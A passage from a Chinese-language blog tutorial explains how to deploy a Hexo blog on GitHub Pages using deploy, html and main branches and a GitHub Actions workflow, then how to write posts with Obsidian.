title=\"准备?\"\u003e\u003c/a\u003e准备?\u003c/h3\u003e\u003cp\u003e由于我们将大部分的复杂度都转移到了GitHub上,所以初次配置会更加繁琐。不过别急,\u003cdel\u003e让我先急\u003c/del\u003e只要跟着步骤做下来基本都没啥问题的。实在不行大不了fork一份仓库然后直接用(不\u003c/p\u003e\u003cp\u003e这次的步骤需要使用到\u003ccode\u003egit\u003c/code\u003e和\u003ccode\u003ehexo\u003c/code\u003e两个工具,并且我们需要创建三个分支用来实现自动化博客部署。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e啊对了,如果不想自己搭建直接用的话,也不是不可以。只需要打开我的\u003ca href=\"https://github.com/xeonds/xeonds.github.io\"\u003e仓库页面\u003c/a\u003e,然后点击那个fork,接着到你的仓库下继续操作:首先把\u003ccode\u003e.github/workflows/hexo-deploy.yml\u003c/code\u003e最后的\u003ccode\u003eREPOSITORY_NAME\u003c/code\u003e改成你自己博客的名字(xxx.github.io),然后把仓库名字改成刚才设置的名字,再检查仓库设置的Pages页面和Actions-\u0026gt;General页面的设置项是否和底下的一样。完成后,clone到本地,把我的博文换成你的,再到deploy分支配置好你的博客发布设置,最后push到GitHub检查一下有没有问题即可。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"开始!\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BC%80%E5%A7%8B%EF%BC%81\" class=\"headerlink\" title=\"开始!\"\u003e\u003c/a\u003e开始!\u003c/h3\u003e\u003cp\u003e首先,在GitHub上创建你的博客仓库:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e特别注意,这里我建这个名字只是作为示范,你们建立仓库的时候直接用\u003ccode\u003e用户名.github.io\u003c/code\u003e当仓库名就ok\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521011305.png\"/\u003e\u003c/p\u003e\u003cp\u003e并克隆到本地:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521011417.png\"/\u003e\u003c/p\u003e\u003cp\u003e完成后打开:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521005753.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面我已经用VSCode打开了。创建好之后,在当前目录下打开命令行工具,再使用下面的命令创建两个分支:\u003ccode\u003edeploy\u003c/code\u003e和\u003ccode\u003ehtml\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit branch deploy\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit branch html\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e三个分支(\u003ccode\u003emain\u003c/code\u003e是默认分支)分别用来存储博客文章,保存博客构建工具以及存储生成的博客静态页面。\u003c/p\u003e\u003cp\u003e至此,三个分支就准备好了。下面就是重头戏了。\u003c/p\u003e\u003ch3 id=\"初始化博客构建工具\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%88%9D%E5%A7%8B%E5%8C%96%E5%8D%9A%E5%AE%A2%E6%9E%84%E5%BB%BA%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"初始化博客构建工具\"\u003e\u003c/a\u003e初始化博客构建工具\u003c/h3\u003e\u003cp\u003e先用\u003ccode\u003egit checkout deploy\u003c/code\u003e切换到构建分支,\u003cstrong\u003e并删除LICENSE和README.md\u003c/strong\u003e。随后创建一个临时目录\u003ccode\u003etmp\u003c/code\u003e,并在其中运行\u003ccode\u003ehexo init\u003c/code\u003e来初始化博客构建工具hexo。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521012200.png\"/\u003e\u003c/p\u003e\u003cp\u003e随后将\u003ccode\u003etmp\u003c/code\u003e下除了\u003ccode\u003e.git\u003c/code\u003e的所有文件移动到文件夹根目录下,并删除\u003ccode\u003etmp\u003c/code\u003e目录。然后运行一下\u003ccode\u003enpm i\u003c/code\u003e再安装下依赖。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521012421.png\"/\u003e\u003c/p\u003e\u003cp\u003e然后和上面一样,在根目录下安装必要的依赖:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm i hexo-deployer-git hexo-server hexo-generator-feed --save\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e并更改\u003ccode\u003e_config.yml\u003c/code\u003e中的最底下的部分如下:\u003c/p\u003e\u003cfigure class=\"highlight yaml\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003edeploy:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003etype:\u003c/span\u003e \u003cspan class=\"string\"\u003egit\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003erepo:\u003c/span\u003e \u003cspan class=\"string\"\u003ehttps://github.com/[username]/[username].github.io.git\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ebranch:\u003c/span\u003e \u003cspan class=\"string\"\u003ehtml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这时候应该就可以试着推送一下。没有问题的话会看到这个结果:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521013346.png\"/\u003e\u003c/p\u003e\u003cp\u003e这证明我们的推送已经配置好了。如果之前没设置git的用户名和邮箱的话会出问题,设置一下就好了。\u003c/p\u003e\u003cp\u003e然后就随便你怎么定制你的博客了,方法和上面那个版本的教程一样。\u003c/p\u003e\u003cp\u003e最后记得把\u003ccode\u003esource\u003c/code\u003e下的所有文件移动到文件夹外边,待会会再用到的。这里不移动出去,到时候可能会出现merge合并问题,比较麻烦。\u003c/p\u003e\u003ch3 id=\"配置主分支\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E9%85%8D%E7%BD%AE%E4%B8%BB%E5%88%86%E6%94%AF\" class=\"headerlink\" title=\"配置主分支\"\u003e\u003c/a\u003e配置主分支\u003c/h3\u003e\u003cp\u003e这一步是实现自动化的关键。因为其实做到现在这一步,我们其实已经可以用上面第一版的教程部署博客了。这里多增加的,就是一点点git技巧和GitHub技巧啦。\u003c/p\u003e\u003cp\u003e首先,在上面的部署工具配置完成后,使用\u003ccode\u003egit add .\u003c/code\u003e和\u003ccode\u003egit commit -m \u0026#34;deploy branch configure\u0026#34;\u003c/code\u003e来将deploy分支的改动保存到这个分支中。\u003c/p\u003e\u003cp\u003e完成这一步后,我们用\u003ccode\u003egit checkout main\u003c/code\u003e切换到main分支,开始我们最后的工作。不过在这之前,先在根目录添加一个\u003ccode\u003e.gitignore\u003c/code\u003e,把这几个文件添加进去:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230521015420.png\"/\u003e\u003c/p\u003e\u003cp\u003e完成之后,我们就可以把之前移出去的source目录下的所有东西移动进来了。\u003c/p\u003e\u003cp\u003e下面是一份GitHub Actions配置清单,先把最底下的\u003ccode\u003eREPOSITORY_NAME\u003c/code\u003e替换为你的博客仓库地址,随后,把它保存到\u003ccode\u003e.github/workflows/hexo-deploy.yml\u003c/code\u003e中。\u003c/p\u003e\u003cfigure class=\"highlight yml\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eHexo\u003c/span\u003e \u003cspan class=\"string\"\u003eDeploy\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eon:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003epush:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ebranches:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"string\"\u003emain\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003ejobs:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ebuild:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eruns-on:\u003c/span\u003e \u003cspan class=\"string\"\u003eubuntu-latest\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003esteps:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eCheckout\u003c/span\u003e \u003cspan class=\"string\"\u003edeploy\u003c/span\u003e \u003cspan class=\"string\"\u003ebranch\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003euses:\u003c/span\u003e \u003cspan class=\"string\"\u003eactions/checkout@v2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eref:\u003c/span\u003e \u003cspan class=\"string\"\u003edeploy\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003epath:\u003c/span\u003e \u003cspan class=\"string\"\u003e./\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eCheckout\u003c/span\u003e \u003cspan class=\"string\"\u003eblog\u003c/span\u003e \u003cspan class=\"string\"\u003erepo\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003euses:\u003c/span\u003e \u003cspan class=\"string\"\u003eactions/checkout@v2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eref:\u003c/span\u003e \u003cspan class=\"string\"\u003emain\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003epath:\u003c/span\u003e \u003cspan class=\"string\"\u003e./source\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eSet\u003c/span\u003e \u003cspan class=\"string\"\u003eup\u003c/span\u003e \u003cspan class=\"string\"\u003eNode.js\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003euses:\u003c/span\u003e \u003cspan class=\"string\"\u003eactions/setup-node@v2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003enode-version:\u003c/span\u003e \u003cspan class=\"number\"\u003e14\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eInstall\u003c/span\u003e \u003cspan class=\"string\"\u003edependencies\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003erun:\u003c/span\u003e \u003cspan class=\"string\"\u003e|\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e npm install \u0026amp;\u0026amp; npm run build\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"bullet\"\u003e-\u003c/span\u003e \u003cspan class=\"attr\"\u003ename:\u003c/span\u003e \u003cspan class=\"string\"\u003eDeploy\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003euses:\u003c/span\u003e \u003cspan class=\"string\"\u003eJamesIves/github-pages-deploy-action@releases/v3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eREPOSITORY_NAME:\u003c/span\u003e \u003cspan class=\"string\"\u003exeonds/hexo-actions\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eBRANCH:\u003c/span\u003e \u003cspan class=\"string\"\u003ehtml\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eFOLDER:\u003c/span\u003e \u003cspan class=\"string\"\u003epublic\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e保存更改并推送到GitHub:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit add .\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit commit -m \u003cspan class=\"string\"\u003e\u0026#34;main workflow configure\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit push -u origin deploy\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这次推送会触发GitHub Action,并且会失败。完成接下来的配置之后,我们的配置才能算彻底完成。\u003c/p\u003e\u003ch3 id=\"GitHub仓库配置\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#GitHub%E4%BB%93%E5%BA%93%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"GitHub仓库配置\"\u003e\u003c/a\u003eGitHub仓库配置\u003c/h3\u003e\u003cp\u003e现在可以关掉其他东西,打开浏览器了。找到我们的仓库,点开设置并找到\u003cstrong\u003ePages\u003c/strong\u003e选项卡:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523215123.png\"/\u003e\u003c/p\u003e\u003cp\u003e按照上图的设置进行配置:首先在Source选项中,选择\u003cstrong\u003eDeploy from a branch\u003c/strong\u003e,然后在Branch选项中,选择\u003ccode\u003ehtml\u003c/code\u003e分支的\u003ccode\u003e/(root)\u003c/code\u003e目录作为部署的源路径。\u003c/p\u003e\u003cp\u003e保存之后,在左侧找到\u003cstrong\u003eActions \u0026gt; General\u003c/strong\u003e选项卡:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523215832.png\"/\u003e\u003c/p\u003e\u003cp\u003e翻到最底下,把\u003cstrong\u003eWorkflow Permossions\u003c/strong\u003e的选项改成\u003cstrong\u003eRead and write permissions\u003c/strong\u003e,然后保存。\u003c/p\u003e\u003cp\u003e到这里,我们的配置工作就基本结束了。\u003c/p\u003e\u003ch3 id=\"验证部署结果\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E9%AA%8C%E8%AF%81%E9%83%A8%E7%BD%B2%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"验证部署结果\"\u003e\u003c/a\u003e验证部署结果\u003c/h3\u003e\u003cp\u003e打开我们的博客目录,在\u003ccode\u003e_posts\u003c/code\u003e目录下写一篇新的博客,并标注\u003ccode\u003efrontmatter\u003c/code\u003e信息后,在git中提交并推送它到GitHub。\u003c/p\u003e\u003cp\u003e随后,等待大概1分钟左右,打开你的仓库首页,查看GitHub Action运行情况:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230523220538.png\"/\u003e\u003c/p\u003e\u003cp\u003e一切顺利的话,就会看到成功的对勾和右下角的Environments为Active。此时打开你的GitHub Pages链接(通常是\u003ccode\u003ehttps://[用户名].github.io/\u003c/code\u003e),应该就能正常看到你的博客首页了。\u003c/p\u003e\u003cp\u003e如果出现异常,你可以去GitHub Action页面中查看你的Workflow详情,并根据报错信息在网上找解决方案(实在不行也可以问问New Bing之类的)。\u003c/p\u003e\u003cp\u003e总之是结束了,可喜可贺,可喜可贺。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e写这篇教程的时候,看到了不少和我思路一样的,不过不少都因为时效性问题无法部署,而且我的部署方式比较特别,是一个仓库实现hexo配置存储、博客文章存储以及静态页面预览,所以操作方法也不太一样。\u003cbr/\u003e总之想了下还是写了这篇教程。\u003cbr/\u003e以及中间关于Actions权限设置的问题,我翻了好久才在一个Issue里看到解决方案,之前真的是一头雾水。如果去翻翻官方文档的话,应该能更早解决吧\u003cbr/\u003e\u003cdel\u003e不管了反正终于结束了删库跑路删库跑路\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"开始写作!\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BC%80%E5%A7%8B%E5%86%99%E4%BD%9C%EF%BC%81\" class=\"headerlink\" title=\"开始写作!\"\u003e\u003c/a\u003e开始写作!\u003c/h2\u003e\u003cp\u003e一篇博客的写作流程大概是这样:\u003c/p\u003e\u003col\u003e\u003cli\u003e在博客目录打开命令行,输入 \u003ccode\u003ehexo new \u0026#34;文章标题\u0026#34;\u003c/code\u003e 来创建一篇新文章\u003c/li\u003e\u003cli\u003e用写作软件打开上面创建的文件,开始写作\u003c/li\u003e\u003cli\u003e完成之后,在命令行中输入 \u003ccode\u003ehexo clean \u0026amp;\u0026amp; hexo d\u003c/code\u003e 发布文章到GitHub\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e熟悉写作流程之后,就可以对博客进行进一步定制了,比如安装主题,安装其他插件等。后续我会列出来一些参考资料(\u003cem\u003e^-^\u003c/em\u003e)\u003c/p\u003e\u003ch3 id=\"Obsidian-Hexo-x3D\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#Obsidian-Hexo-x3D\" class=\"headerlink\" title=\"Obsidian+Hexo=?\"\u003e\u003c/a\u003eObsidian+Hexo=?\u003c/h3\u003e\u003cp\u003eObsidian(黑曜石)是一个很好用的专业Markdown写作和管理工具。下面我简单介绍下用Obsidian结合hexo进行博客写作的流程。\u003c/p\u003e\u003cp\u003e首先,安装\u003ca href=\"https://github.com/obsidianmd/obsidian-releases/releases/download/v1.1.9/Obsidian.1.1.9.exe\"\u003eObsidian\u003c/a\u003e,下不下来就用梯子。安装完成后打开你的博客文件夹:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230210143902.png\" alt=\"就中间那个打开本地仓库\"/\u003e\u003c/p\u003e\u003cp\u003e打开之后进入设置,在文件与链接最底下的忽略文件中添加\u003ccode\u003enode_modules\u003c/code\u003e、\u003ccode\u003escaffolds\u003c/code\u003e、\u003ccode\u003epublic\u003c/code\u003e和\u003ccode\u003ethemes\u003c/code\u003e四个文件夹。随后往上拉,存放新建笔记的文件夹改为\u003ccode\u003esource/_posts\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e还是在设置中,点击左侧\u003ccode\u003e模板\u003c/code\u003e,模板文件夹位置选择\u003ccode\u003escaffolds\u003c/code\u003e。然后关闭设置,点开\u003ccode\u003escaffolds\u003c/code\u003e目录:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230520234621.png\" alt=\"=。=\"/\u003e\u003c/p\u003e\u003cp\u003e改为下面的格式即可(author后面改成你自己的名字)。简单介绍下,title标题,date文章创建日期,author作者,toc目录(table of contents),excerpt文章简介,tags文章标签。\u003c/p\u003e\u003cp\u003e如果是使用部署方案2,那么只需要用obsidian打开仓库根目录,然后把scaffolds目录复制到博客目录里,然后改名成_scaffolds,然后把你要添加的模板添加到目录里,再在设置里改好,就能愉快地使用了。另外,不要忘了忽略node_modules之类的目录。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e到这里就配置完了。接下来讲讲写作流程:\u003c/p\u003e\u003cp\u003e打开Obsidian,新建文章并确定好标题。随后点击左侧模板图标,选择post模板,它会根据模板格式自动生成文章标题、作者、时间等文章元信息,随后就是写作了。\u003c/p\u003e\u003cp\u003e完成后,在博客目录打开命令行,运行\u003ccode\u003ehexo s\u003c/code\u003e预览博客发布后的效果,确认无误后使用\u003ccode\u003ehexo g \u0026amp;\u0026amp; hexo d\u003c/code\u003e来生成并发布博客到GitHub Pages。当然,如果还能折腾的动,还可以使用Obsidin的Git插件+Git命令在Obsidian中一键发布博客。\u003c/p\u003e\u003cp\u003e如果是使用方案2部署,那么就更简单了。直接把博客目录作为Markdown仓库打开,并设置好Obsidian Git插件,配置好模板目录。写作完成后,直接\u003ccode\u003eCtrl+P\u003c/code\u003e来commit+push就行,直接推送到远程仓库,让GitHub 